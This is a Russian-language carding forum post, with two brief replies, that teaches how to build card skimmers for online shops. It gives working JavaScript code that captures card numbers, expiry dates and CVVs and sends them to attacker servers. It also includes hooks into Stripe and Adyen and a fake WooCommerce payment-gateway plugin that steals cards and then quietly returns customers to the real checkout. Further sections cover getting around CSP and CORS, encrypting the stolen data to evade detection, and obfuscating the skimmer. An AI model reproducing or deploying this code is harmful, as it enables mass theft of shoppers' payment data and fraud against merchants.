Самодостаточный кардер: ваш первый CC-сниффер

[Brother]

Правда в том, что кардинг может быть дорогим. Решение о кардинге часто сводится к тому, стоит ли того стоимость покупки карт, прокси, необходимого программного обеспечения для защиты от обнаружения, особенно если процент успеха в конкретном магазине невелик. Вот почему я начинаю эту серию эссе/записей. Они призваны помочь вам стать более самостоятельными и снизить свою зависимость от этих расходов — или, может быть, даже полностью устранить их. Это будет первая из многих частей. И что может быть лучше, чем начать серию, чем обратиться к основной проблеме: изучить методы получения собственных карт.

Получение собственных карт является ключевым моментом, поскольку они обычно являются самой большой статьей расходов в большинстве операций по кардингу. Но для некоторых это не стоит хлопот, особенно если вы уже добиваетесь относительного успеха с картами, которые вы получаете из другого места. Но я утверждаю, что знания — это самый важный инструмент в наборе инструментов кардера, наличие знаний и практического опыта в получении карт может дать вам преимущество перед всеми остальными, и это позволяет вам иметь запасной вариант, если ваш любимый магазин cc внезапно закроется. Глубокое понимание того, как получить свои карты, также дает вам усердие, чтобы оценить качество разных магазинов. Особенно, если у вас возникли проблемы с картами, которые вы получали в последнее время.

Существует множество способов получить собственные карты, от взлома до мошеннических магазинов и фишинговых кампаний, до сниффинга, нет недостатка в способах получения собственных карт. В первой части серии мы сосредоточимся на онлайн-снифферах карт, что они собой представляют, как они реализованы и как вы могли бы скрутить свой собственный.

Как?

Существует два основных способа кражи информации о кредитных картах из онлайн-магазинов: фишинговые снифферы и JS-снифферы. Чтобы эта статья была сосредоточена на теме, мы предположим, что у вас уже есть доступ к взломанному серверу/магазину. И у вас есть по крайней мере право записи или возможность внедрить код в их кассу. Взлом — это отдельная тема, о которой я тоже скоро напишу, возможно, в категории «Безопасность» форума.

Фишинговые снифферы довольно просты. Мы просто меняем настоящую страницу оформления заказа на нашу поддельную. Мы можем, как я покажу позже, использовать наш собственный плагин оформления заказа, который заменяет внешний вид достаточно близким к настоящему, что большинство людей не замечают. Когда они вводят данные своей карты, они поступают прямо к нам, а не в магазин, а затем мы перенаправляем их обратно на кассу с законной формой оплаты. Легкие деньги.

Снифферы JS немного отличаются. Мы ничего не заменяем, мы просто добавляем наш собственный небольшой скрипт на страницу оформления заказа. Он следит за тем, что люди вводят, и собирает все данные для нас — номера карт, имена, что угодно. Затем он отправляет все это нам, не нарушая реальный процесс покупки.

Оба способа работают довольно хорошо, но JS лучше по той причине, что его сложнее обнаружить, и он не вызывает никаких сбоев в процессе оформления заказа. JS также сложнее реализовать на современных веб-сайтах из-за CSP/CORS, о которых я также объясню позже. В целом оба подхода сильно зависят от конфигурации и уровня безопасности магазина: если это старый, небезопасный магазин из Айдахо с кодом спагетти, и у вас есть root-доступ dig-bick ко всему процессу оформления заказа, вы разворачиваете JS. Если это относительно безопасный магазин Wordpress + Woocommerce с CSP, и у вас есть только административный доступ для установки плагинов и настройки платежных платформ, мы используем подход фишинга/плагина.

Настройка нашей операции сниффера, это применимо как к снифферу JS, так и к снифферу плагинов:

Настройка сервера:
в идеале мы хотим, чтобы наш собственный сервер работал под управлением NGINX и последней версии PHP. Но если вы можете писать другие внутренние коды, почему бы и нет?
Контроль и гибкость. Мы можем настроить собственную базу данных, создать собственные панели для управления картами и не оставлять следов на сторонних сервисах.

База данных:
хранить карты в базе данных, такой как MySQL или PostgreSQL.
Преимущество: мы можем легко искать, сортировать и управлять нашими картами. Плюс, мы можем создать собственную фронтенд-панель для просмотра и редактирования данных (операции CRUD).

Пользовательский фронтенд:
с нашим собственным сервером и базой данных мы можем создать изящное веб-приложение для управления всем.
Это позволяет нам делать такие вещи, как автоматическая проверка действительности карты, сортировка по банку или что-то еще, что нам нужно. Я также напишу об этом в будущем.

Альтернативные варианты (для демонстрационных целей или если вы не можете запустить свой собственный веб-сервер):
Webhook.site: быстро и грязно. Хорошо для тестирования, но небезопасно для реальных операций.
Make.com: можно настроить веб-хук для сброса данных в Google Sheets.
Их проще настроить, но они более рискованны. Они оставляют больше следов и дают нам меньше контроля.

Использование собственного сервера всегда лучше, если мы можем. У нас полный контроль, мы можем настроить все, и нас сложнее отследить, если мы настроим все правильно.
Для обучения и демонстрационных целей webhook.site или Make.com подойдут. Но для любой серьезной операции всегда используйте собственную настройку сервера. Это требует больше работы на начальном этапе, но в долгосрочной перспективе гораздо безопаснее и мощнее.

Поскольку мы не фокусируемся на управлении серверами в этой статье, мы вместо этого сначала воспользуемся ими.
Скоро я напишу о хостинге собственного выделенного сервера для всех ваших операций, а также о плюсах и минусах различных подходов к этому.

Подготовка:
перейдите на Webhook.site и получите свой уникальный URL, так как это поможет нам протестировать наши снифферы, прежде чем мы повторим и улучшим его для реальных магазинов, к которым у нас есть доступ:

Приступаем к работе:

JS-снифферы
Если JS-снифферы возможны, они являются самым надежным вариантом; в отличие от подхода с плагинами, JS-снифферы очень тихие.

Настройка демо:
чтобы показать вам, как это работает, мы создали простую страницу оформления заказа.
Вы можете поиграть с ней здесь: https://codesandbox.io/s/keen-gates-7s4dz7

Это просто базовая форма, которую вы также можете реализовать на своем собственном сервере:

<form id="checkout-form">
<input type="text" name="cardNumber" placeholder="Card Number">
<input type="text" name="expiry" placeholder="MM/YY">
<input type="text" name="cvv" placeholder="CVV">
<button type="submit">Pay Now</button>
</form>

Теперь давайте добавим наш сниффер. Для демонстрации мы будем использовать webhook.site для сбора карты. Вот базовый js-сниффер:

(function() {
var sniffedData = {};
var form = document.getElementById('checkout-form');

form.addEventListener('input', function(e) {
sniffedData[e.target.name] = e.target.value;
});

form.addEventListener('submit', function(e) {
e.preventDefault();

var encodedData = btoa(JSON.stringify(sniffedData));
var exfilUrl = '<https://webhook.site/your-unique-url-here>';

fetch(exfilUrl + '?data=' + encodedData, {
method: 'GET',
}).then(function() {
console.log('Card data sent to our server');
form.submit(); // Let the form submit as normal
});
});
})();

Чтобы проверить это:
Получите URL-адрес веб-перехватчика с webhook.site
Замените «your-unique-url-here» в коде
Вставьте скрипт в консоль браузера на демонстрационной странице
Заполните и отправьте форму

Проверьте свой вебхук — вы увидите, как отправленная вами карта волшебным образом появится.

Расшифровка Base64 дает нам:
{"cardNumber":"4242424242424242","expiry":"1230","cvv":"123"}

Теперь давайте посмотрим, как это работает, когда вы действительно взломали сайт. Вот что вы обычно делаете:

Создаете более сложный скрипт сниффера. Мы назовем его 'analytics-helper.js':

(function() {
function sniff() {
var sniffedData = {};
var form = document.querySelector('form');
if (!form) return;  // Выход, если на странице нет формы
form.addEventListener('input', function(e) {
if (['cardNumber', 'cvv', 'expiry'].includes(e.target.name)) {
sniffedData[e.target.name] = e.target.value;
}
});

form.addEventListener('submit', function(e) {
var encodedData = btoa(JSON.stringify(sniffedData));
var exfilUrl = 'https://ourserver/collect.php';

navigator.sendBeacon(exfilUrl, encodedData);
});
}
// Запускаем наш сниффер
sniff();
})();

Загрузите это на взломанный сервер, возможно, как '/assets/js/analytics-helper.js'.
Внедрите это на страницу оформления заказа. Найдите основной шаблон (например, 'checkout.php') и добавьте:

<script src="/assets/js/analytics-helper.js"></script>

Настройте свой сервер для получения и обработки перехваченных карт.

Теперь, каждый раз, когда кто-то оформляет заказ, вы получаете данные его карты, чертовски просто.

Ключ к хорошему снифферу JS — это смешение. Вот несколько приемов:
используйте звучащие легитимно имена, например «analytics-helper.js».
Добавьте свой скрипт на несколько страниц, а не только на страницу оформления заказа.
Если возможно, измените существующий скрипт вместо добавления нового.
Используйте navigator.sendBeacon() для эксфильтрации — он более скрытный, чем AJAX.

Помните, в реальном мире вы бы больше запутали этот код. Вы можете разделить его, спрятать в легитимно выглядящих функциях или закодировать его части. Цель состоит в том, чтобы он выглядел скучным и обычным, если кто-то случайно его заметит.
Независимо от того, тестируете ли вы нашу демоверсию или развертываете в реальных условиях, принцип один и тот же: забирайте данные молча, отправляйте их быстро и не нарушайте нормальный поток работы сайта. Если вы сделаете это правильно, никто даже не узнает, что вы находитесь на сервере, вынюхивая, как голодная собака, в течение долгого-долгого времени.

Работа с CORS и CSP:
Теперь вы можете подумать, что это слишком просто. И вы правы - современные веб-сайты часто имеют защиту, которая усложняет нашу работу.

Давайте поговорим о двух крупных: CORS и CSP.
CORS (Cross-Origin Resource Sharing) — это как баунсер, который проверяет, разрешено ли скрипту с одного сайта общаться с другим. Он может помешать нам отправлять данные на наш сервер, если он настроен неправильно.
CSP (Content Security Policy) еще сложнее. Он сообщает браузеру, какие именно скрипты разрешено запускать и куда они могут отправлять данные. Строгий CSP может отключить наш сниффер еще до того, как он запустится.
Обход CORS и CSP: Но у нас есть несколько трюков в рукаве:

Для CORS мы можем использовать такие методы, как JSONP или настройка прокси-сервера на разрешенном домене.
С CSP мы можем попытаться найти домен из белого списка, который мы можем использовать. Например, если сайт разрешает скрипты из CDN, мы можем попытаться внедрить туда наш код.
Иногда мы можем использовать перехват DNS, чтобы наш злой сервер выглядел как разрешенный.

В некоторых случаях мы можем использовать директиву form-action, если она не заблокирована:

Array.from(document.forms).forEach(form => {
form.action = 'https://ourserver.com/collect.php';
});

Работа с безопасными формами оплаты:
Теперь настоящая проблема: безопасные формы оплаты, такие как Stripe или Adyen.

Их сложно взломать, потому что:

Они часто используют iframes, к которым наш скрипт главной страницы не может получить доступ из-за политики единого источника.
У них строгие правила CSP.
Фактические данные о платежах часто никогда не попадают на сервер основного сайта.

Но у нас есть варианты:

Если сайт использует Stripe Elements, мы можем подключиться к библиотеке Stripe.js до того, как она создаст защищенные поля:

let originalStripe = Stripe;
Stripe = function(key) {
let stripe = originalStripe(key);
let originalCreateElement = stripe.elements().create;
stripe.elements().create = function(type, options) {
let element = originalCreateElement(type, options);
element.on('change', (event) => {
if(event.complete) {
sendToOurServer(event.token);
}
});
return element;
}
return stripe;
}

Для Adyen мы можем попытаться перехватить данные до их отправки в защищенный компонент:

let originalAdyen = adyen;
adyen.onCreate = function(state, component) {
state.onChange = function(state) {
sendToOurServer(state.data);
}
return originalAdyen.onCreate(state, component);
}

Если все остальное не сработает, мы можем попробовать изменить страницу, чтобы заменить защищенную форму на нашу собственную. Это более рискованно и более заметно, но иногда это наш единственный вариант. Что приводит нас к методу плагина/фиша:

иногда, независимо от того, насколько мы умны, сниффинг JS просто не сработает из-за функций безопасности сайта. Вместо того, чтобы сниффинг в фоновом режиме, мы собираемся разместить нашу собственную платежную форму прямо перед пользователем. Она будет выглядеть законно, и она будет отправлять все эти сочные карты прямо нам.
Для этой демонстрации, предположим, у нас есть доступ администратора к магазину WooCommerce. Вот как мы это настроим:

У меня есть готовый плагин. Я написал его несколько месяцев назад, но сегодня он работает так же хорошо, как и раньше. Вы можете найти его здесь:
Вставка кода

Загрузите и активируйте этот плагин в панели администратора WordPress.
В настройках плагина вы увидите поле для «URL обработки платежей». Здесь вы разместите URL вашего webhook.site.

Как это работает:
После активации этот плагин добавляет новый способ оплаты в кассу WooCommerce. Когда клиент выбирает наш способ, он видит форму, которая выглядит как обычная форма оплаты. Но когда он нажимает «Отправить», все эти данные поступают прямо к нам.

Код:
Вот упрощенная версия того, что происходит в нашем плагине:

add_action('woocommerce_payment_gateways', 'add_custom_gateway_class');
function add_custom_gateway_class($gateways) { $gateways[] = 'WC_Custom_Payment_Gateway'; return $gateways; }
class WC_Custom_Payment_Gateway extends WC_Payment_Gateway { public function process_payment($order_id) { $order = wc_get_order($order_id); $card_number = $_POST['custom_card_number']; $card_expiry = $_POST['custom_card_expiry']; $card_cvc = $_POST['custom_card_cvc'];
$response = wp_remote_post($this->get_option('webhook_url'), array(
'body' => array(
'card_number' => $card_number,
'card_expiry' => $card_expiry,
'card_cvc' => $card_cvc,
'order_id' => $order_id
)
));

if (!is_wp_error($response) && $response['response']['code'] == 200) {
$order->payment_complete();
return array(
'result' => 'success',
'redirect' => $this->get_return_url($order)
);
} else {
wc_add_notice('Payment error:', 'error');
return;
}
}
}

Теперь, в реальном сценарии, мы не хотим просто захватить данные и оставить клиента в подвешенном состоянии. Мы хотим плавно перевести их обратно в законный поток платежей, не вызывая подозрений.

Вот как мы могли бы это осуществить:
Наш сервер получает данные карты.
Мы сохраняем эти данные для дальнейшего использования.
Вместо обработки платежа мы отправляем специальный сигнал «переключения» обратно в WooCommerce.
Наш плагин перехватывает этот сигнал и перенаправляет клиента обратно на страницу оформления заказа, но на этот раз с включенными законными способами оплаты.

Вот как это может выглядеть в коде нашего плагина, который я не реализовал в коде выше, который я вам предоставил выше, так как я использовал его только для мошеннических/фишинговых магазинов:

class WC_Custom_Payment_Gateway extends WC_Payment_Gateway {
public function process_payment($order_id) {
$order = wc_get_order($order_id);
$card_data = array(
'number' => $_POST['custom_card_number'],
'expiry' => $_POST['custom_card_expiry'],
'cvc' => $_POST['custom_card_cvc']
);

// Отправляем данные на наш сервер
$response = wp_remote_post($this->get_option('webhook_url'), array(
'body' => array(
'card_data' => $card_data,
'order_id' => $order_id
)
));

if (!is_wp_error($response) && $response['response']['code'] == 200) {
$body = json_decode($response['body'], true);
if ($body['status'] == 'switch') {
WC()->session->set('switch_payment_method', true);

return array(
'result' => 'success',
'redirect' => wc_get_checkout_url()
);
}
}

wc_add_notice('Payment error. Please try again.', 'error');
return array('result' => 'failure');
}
}

// Добавьте это, чтобы ваш способ оплаты не отображался во второй раз
add_filter('woocommerce_available_payment_gateways', 'filter_gateways', 10, 1);
function filter_gateways($available_gateways) {
if (WC()->session && WC()->session->get('switch_payment_method')) {
unset($available_gateways['custom_payment']); // Удаляем наш фейковый шлюз
WC()->session->set('switch_payment_method', false);
}
return $available_gateways;
}

И на нашем сервере (это также может работать в Make и Webhook.site, но для последнего, я думаю, вам понадобится премиум-подписка):

<?php
$card_data = $_POST['card_data'];

store_card_data($card_data);

http_response_code(200);
echo json_encode(['status' => 'switch']);

Такой подход имеет несколько преимуществ:

нам не нужно заниматься фактической обработкой платежей, что упрощает нашу работу.
В конечном итоге клиент использует реальный процесс оплаты магазина, поэтому все после нашего перехвата выглядит на 100% законным.
Если что-то пойдет не так с настоящим платежом, это не наша вина — насколько кто-либо может сказать, наш плагин даже не был задействован.

Сложность заключается в том, чтобы сделать переход плавным. Нам нужно сделать так, чтобы это выглядело так, будто в процессе оплаты произошел небольшой сбой, но ничего подозрительного. Сообщение типа «Мы не смогли обработать ваш платеж, попробуйте еще раз» всегда срабатывало для меня.

Помните, что время имеет решающее значение. Весь процесс принятия данных карты, отправки их на наш сервер и перенаправления обратно на кассу должен занять примерно столько же времени, сколько и обычный неудавшийся платеж. Ключ к этому подходу — выглядеть законным. Чем больше ваш поддельный способ оплаты выглядит и действует как настоящий, тем меньше вероятность, что кто-то его поймает. Все дело в деталях — от дизайна формы до страницы благодарности. Сделайте все правильно, и вы будете получать новые карты ровнее, чем настоящий платежный процессор.

Шифрование: заметаем следы
Когда мы считываем данные карт, мы должны держать это дерьмо под надежной защитой. Вот где вступает в дело шифрование. Мы не просто скрываем данные от любопытных администраторов или пользователей — мы также пытаемся уклониться от автоматизированных систем безопасности.
Зачем нам нужно шифрование:

Избегаем обнаружения:
Большинство систем безопасности и журналов сканируют шаблоны, которые выглядят как номера кредитных карт или другие конфиденциальные данные. Если мы отправляем эти данные в виде обычного текста, мы могли бы также размахивать большим красным флагом, говоря: «ЭЙ, МЫ КРАДЕМ ДАННЫЕ КАРТ ЗДЕСЬ!»
Избегаем систем обнаружения вторжений (IDS):
Многие магазины используют IDS, которые специально ищут незашифрованные данные карт, покидающие их сеть. Шифрование помогает нам легко проскользнуть мимо них.

Прикрываем наши задницы:
Если наш трафик перехватывают или проверяют журналы, зашифрованные данные выглядят просто как случайный мусор. Гораздо сложнее доказать, что магазин был скомпрометирован.
Защита от слежки:
Иногда другие хакеры также могут следить за трафиком. Хуже того, исследователи безопасности считают, что их призвание — ловить киберпреступников. Шифрование скрывает наши данные от них.

Пример сценария:
Допустим, мы прослушиваем карты с EasyShop.com. Мы отправляем данные обратно следующим образом:

GET /collect?card=4111111111111111&cvv=123&exp=12/25 HTTP/1.1
Host: our-server-hosted-in-antartica.com

Любая более-менее приличная система безопасности мгновенно это засекла бы. IT-отдел магазина кружил бы над этим, как мухи над дерьмом, и нас бы закрыли прежде, чем мы успели бы получить эти не-vbv карты. Но если мы зашифруем это:

GET /collect?data=U2FsdGVkX1+8kTSIF5/v3na41DVPGYnwV4HEqQnVhJzTs2vHUXGUtD2Q9QxF3xXx HTTP/1.1
Host: our-server-hosted-in-antartica.com

Это выглядит как любой другой веб-запрос. Это могут быть аналитические данные, информация о сеансе, что угодно. Это не вызывает немедленной тревоги, и даже если кто-то заподозрит что-то, он не сможет доказать, что это такое, без нашего ключа дешифрования.
Помните, шифрование — это не просто сокрытие данных, это то, что делает всю нашу операцию невидимой. Это разница между получением карт последовательно в течение месяцев или отключением в течение дня.

Как можно зашифровать выгрузку данных:
Мы шифруем данные до того, как они покинут браузер или сервер жертвы.
Мы используем что-то сильное, например AES-256. Да, это излишне, но лучше перестраховаться, чем потом сожалеть.
Мы используем уникальный ключ для каждого магазина, в который мы заходим. Таким образом, если один будет взломан, другие останутся в безопасности.

Для снифферов JS мы можем сделать что-то вроде:

const encrypt = (text, key) => {
return CryptoJS.AES.encrypt(text, key).toString();
};

// При отправке данных:
let data = JSON.stringify({card: '4111111111111111', cvv: '123'});
let encrypted = encrypt(data, 'UniqueKeyForThisShop123');
fetch('https://our-server.com/collect?data=' + encodeURIComponent(encrypted));

Для нашего подхода с плагином мы бы сделали то же самое в PHP (в основном в зависимости от API платформы):

function encrypt($data, $key) {
$cipher = "aes-256-cbc";
$ivlen = openssl_cipher_iv_length($cipher);
$iv = openssl_random_pseudo_bytes($ivlen);
$encrypted = openssl_encrypt($data, $cipher, $key, 0, $iv);
return base64_encode($iv . $encrypted);
}

// При отправке данных:
$data = json_encode(['card' => '4111111111111111', 'cvv' => '123']);
$encrypted = encrypt($data, 'UniqueKeyForThisShop123');
file_get_contents("https://our-server.com/collect?data=" . urlencode($encrypted));

На нашем сервере мы расшифровываем эти вещи перед тем, как их сохранить. Таким образом, даже если кто-то перехватит данные в пути, все, что они увидят, — это бессмыслица.

Запутываем наше дерьмо

(пример того, как опытные снифферы обфускируют свой код)

Итак, мы зашифровали данные, которые крадем, но что насчет кода, который ворует? Его тоже нужно скрыть. Вот как мы это делаем:

Для файлов JS:
Минификация: Сначала мы сжимаем весь наш код до одной строки. Это затрудняет его чтение.
Обфускация: Затем мы пропускаем его через обфускатор JS. Это превращает наш приятный для чтения код в беспорядок из странных имен переменных и кодировок.

Вот простой пример:

// Оригинал
function sniffedCardData() {
// Здесь анализируем логику
}

// Запутанно
var _0x5a2b=['function\x20stealCardData(){\x20\x20\x20\x20//\x20Stealing\x20logic\x20here\x20}'];(function(_0x2d8f05,_0x4b81bb){var _0x4d74cb=function(_0x32719f){while(--_0x32719f){_0x2d8f05['push'](_0x2d8f05['shift']());}};_0x4d74cb(++_0x4b81bb);}(_0x5a2b,0x89));var _0x4d74=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a2b[_0x2d8f05];return _0x4d74cb;};eval(_0x4d74('0x0'));

Для плагинов PHP:
Поддельная функциональность: Мы добавляем в наш плагин несколько функций, которые выглядят как настоящие, чтобы он казался невинным.
Скрытые триггеры: Мы закапываем наш вредоносный код глубоко внутри, активируя его только при определенных условиях.

Цель состоит в том, чтобы сделать наш код похожим на тарабарщину или просто скучный обычный код для любого, кто будет копаться. Если какой-нибудь низкооплачиваемый разработчик или специалист по безопасности начнет копать, он будет чертовски сбит с толку относительно того, что на самом деле происходит. Чем больше слоев обфускации мы добавим, тем сложнее будет кому-либо нас обнаружить. Но не переусердствуйте — если это будет выглядеть слишком подозрительно, это тоже может привлечь внимание. Мы стремимся к «скучности и сложности», а не к «очевидному сокрытию чего-то».

Итак, вот вам: если вы следовали всему до сих пор, теперь у вас есть ваш первый «детский» сниффер. Зачем я написал все это дерьмо и просто дал вам код, который вы можете просто подключить и использовать? Потому что это вам не поможет, если что-то пойдет по кратчайшему пути без какого-либо понимания вообще, то это принесет вам больше вреда, чем пользы в становлении великим кардером или хакером. Цель этой серии — вооружить вас знаниями, а не кормить вас с ложечки, и я желаю вам работать над тем, чтобы улучшить себя с их помощью.

(c) Телеграм: d0ctrine

 

[desert777]

Какие языки программирования нужно знать для этого?

 

[xyligan3000]

Какие языки программирования нужно знать для этого?

нужно быть жестким фулстек-разработчиком и +10лет опыта работы в гугле